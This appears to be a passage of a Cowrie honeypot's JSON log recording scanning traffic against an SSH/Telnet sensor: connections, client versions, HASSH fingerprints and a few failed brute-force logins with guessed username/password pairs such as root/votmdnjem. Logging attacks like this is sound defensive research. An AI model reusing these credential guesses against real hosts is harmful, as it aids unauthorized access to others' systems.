{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:11.412503Z","src_ip":"213.209.159.158","session":"863aa5adf6b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.6210355758667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:12.106999Z","src_ip":"62.171.135.55","session":"4afb0d7f306c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.444817066192627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:13.100319Z","src_ip":"62.171.135.55","session":"500e5d1b175d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.780989408493042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:13.115336Z","src_ip":"62.171.135.55","session":"16b17ce9678f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.643372058868408,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:13.188281Z","src_ip":"62.171.135.55","session":"9218da55b654","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.768415212631226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:14.185554Z","src_ip":"62.171.135.55","session":"23101159cc34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.553882360458374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:16.189549Z","src_ip":"62.171.135.55","session":"d3fc33dfe32f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":38216,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb00c5f32ad3","protocol":"telnet","message":"New connection: 62.171.135.55:38216 (159.203.135.109:23) [session: cb00c5f32ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:16.726408Z"}
{"eventid":"cowrie.session.closed","duration":30.493034839630127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:17.101983Z","src_ip":"62.171.135.55","session":"7b1dd02b2cd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38728,"dst_ip":"159.203.135.109","dst_port":22,"session":"e26bbde6739c","protocol":"ssh","message":"New connection: 159.203.92.129:38728 (159.203.135.109:22) [session: e26bbde6739c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:17.211246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:17.216827Z","src_ip":"159.203.92.129","session":"e26bbde6739c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:17.224331Z","src_ip":"159.203.92.129","session":"e26bbde6739c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"dell@2020","message":"login attempt [ansible/dell@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:17.236213Z","src_ip":"159.203.92.129","session":"e26bbde6739c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:18.242634Z","src_ip":"159.203.92.129","session":"e26bbde6739c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.856799364089966,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:19.113438Z","src_ip":"62.171.135.55","session":"ba740434a792","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlan35cnktu","message":"login attempt [root/vlan35cnktu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:21.024769Z","src_ip":"213.209.159.158","session":"863aa5adf6b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.104740381240845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:22.067921Z","src_ip":"62.171.135.55","session":"d7bc7b540582","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:24.285804Z","src_ip":"213.209.159.158","session":"863aa5adf6b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":29660,"dst_ip":"159.203.135.109","dst_port":22,"session":"16443a265b49","protocol":"ssh","message":"New connection: 213.209.159.158:29660 (159.203.135.109:22) [session: 16443a265b49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:24.395415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:26.926805Z","src_ip":"213.209.159.158","session":"16443a265b49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:26.930549Z","src_ip":"213.209.159.158","session":"16443a265b49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":46540,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dba6448d61b","protocol":"telnet","message":"New connection: 62.171.135.55:46540 (159.203.135.109:23) [session: 2dba6448d61b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:28.569587Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":46822,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8f8b6b6840d","protocol":"telnet","message":"New connection: 62.171.135.55:46822 (159.203.135.109:23) [session: f8f8b6b6840d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:28.643346Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":48368,"dst_ip":"159.203.135.109","dst_port":23,"session":"2aa14c1725cb","protocol":"telnet","message":"New connection: 62.171.135.55:48368 (159.203.135.109:23) [session: 2aa14c1725cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:29.137989Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":51300,"dst_ip":"159.203.135.109","dst_port":23,"session":"09de7578a94c","protocol":"telnet","message":"New connection: 62.171.135.55:51300 (159.203.135.109:23) [session: 09de7578a94c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:30.028853Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":51564,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3e71c5be762","protocol":"telnet","message":"New connection: 62.171.135.55:51564 (159.203.135.109:23) [session: a3e71c5be762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:30.113853Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":35718,"dst_ip":"159.203.135.109","dst_port":23,"session":"0077931ac59f","protocol":"telnet","message":"New connection: 62.171.135.55:35718 (159.203.135.109:23) [session: 0077931ac59f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:34.464738Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":35794,"dst_ip":"159.203.135.109","dst_port":23,"session":"b76e12efada3","protocol":"telnet","message":"New connection: 62.171.135.55:35794 (159.203.135.109:23) [session: b76e12efada3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:34.493174Z"}
{"eventid":"cowrie.session.closed","duration":30.8509464263916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:35.074364Z","src_ip":"62.171.135.55","session":"3e444864ac7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":38612,"dst_ip":"159.203.135.109","dst_port":23,"session":"b44bce5f361c","protocol":"telnet","message":"New connection: 62.171.135.55:38612 (159.203.135.109:23) [session: b44bce5f361c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:35.343061Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":40022,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5cf3101e6e3","protocol":"telnet","message":"New connection: 62.171.135.55:40022 (159.203.135.109:23) [session: c5cf3101e6e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:35.794420Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"votmdnjem","message":"login attempt [root/votmdnjem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:36.089509Z","src_ip":"213.209.159.158","session":"16443a265b49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":42384,"dst_ip":"159.203.135.109","dst_port":23,"session":"5be668f2427e","protocol":"telnet","message":"New connection: 62.171.135.55:42384 (159.203.135.109:23) [session: 5be668f2427e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:36.541093Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":48590,"dst_ip":"159.203.135.109","dst_port":22,"session":"678aa7c29ae9","protocol":"ssh","message":"New connection: 43.159.177.40:48590 (159.203.135.109:22) [session: 678aa7c29ae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:36.676105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:36.685150Z","src_ip":"43.159.177.40","session":"678aa7c29ae9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:36.752044Z","src_ip":"43.159.177.40","session":"678aa7c29ae9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp_user","password":"123456","message":"login attempt [ftp_user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:37.037821Z","src_ip":"43.159.177.40","session":"678aa7c29ae9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:38.117214Z","src_ip":"43.159.177.40","session":"678aa7c29ae9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":48644,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d057e0bd54c","protocol":"telnet","message":"New connection: 62.171.135.55:48644 (159.203.135.109:23) [session: 5d057e0bd54c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:38.367199Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":49602,"dst_ip":"159.203.135.109","dst_port":23,"session":"b55eab1469f2","protocol":"telnet","message":"New connection: 62.171.135.55:49602 (159.203.135.109:23) [session: b55eab1469f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:38.624464Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":50592,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4b72f2b514e","protocol":"telnet","message":"New connection: 62.171.135.55:50592 (159.203.135.109:23) [session: b4b72f2b514e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:38.863915Z"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:39.296551Z","src_ip":"213.209.159.158","session":"16443a265b49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":54680,"dst_ip":"159.203.135.109","dst_port":22,"session":"281814a63519","protocol":"ssh","message":"New connection: 213.209.159.158:54680 (159.203.135.109:22) [session: 281814a63519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:39.396829Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":54660,"dst_ip":"159.203.135.109","dst_port":23,"session":"65097d921279","protocol":"telnet","message":"New connection: 62.171.135.55:54660 (159.203.135.109:23) [session: 65097d921279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:40.084895Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":55060,"dst_ip":"159.203.135.109","dst_port":23,"session":"28185fb4eb23","protocol":"telnet","message":"New connection: 62.171.135.55:55060 (159.203.135.109:23) [session: 28185fb4eb23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:40.241468Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":55910,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c29eeac35d1","protocol":"telnet","message":"New connection: 62.171.135.55:55910 (159.203.135.109:23) [session: 7c29eeac35d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:40.535227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:41.844381Z","src_ip":"213.209.159.158","session":"281814a63519","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:41.848261Z","src_ip":"213.209.159.158","session":"281814a63519","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":40404,"dst_ip":"159.203.135.109","dst_port":23,"session":"78fe90b83578","protocol":"telnet","message":"New connection: 62.171.135.55:40404 (159.203.135.109:23) [session: 78fe90b83578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:44.614302Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":58592,"dst_ip":"159.203.135.109","dst_port":22,"session":"de7284fe55c2","protocol":"ssh","message":"New connection: 156.227.233.77:58592 (159.203.135.109:22) [session: de7284fe55c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:44.630507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:44.636315Z","src_ip":"156.227.233.77","session":"de7284fe55c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH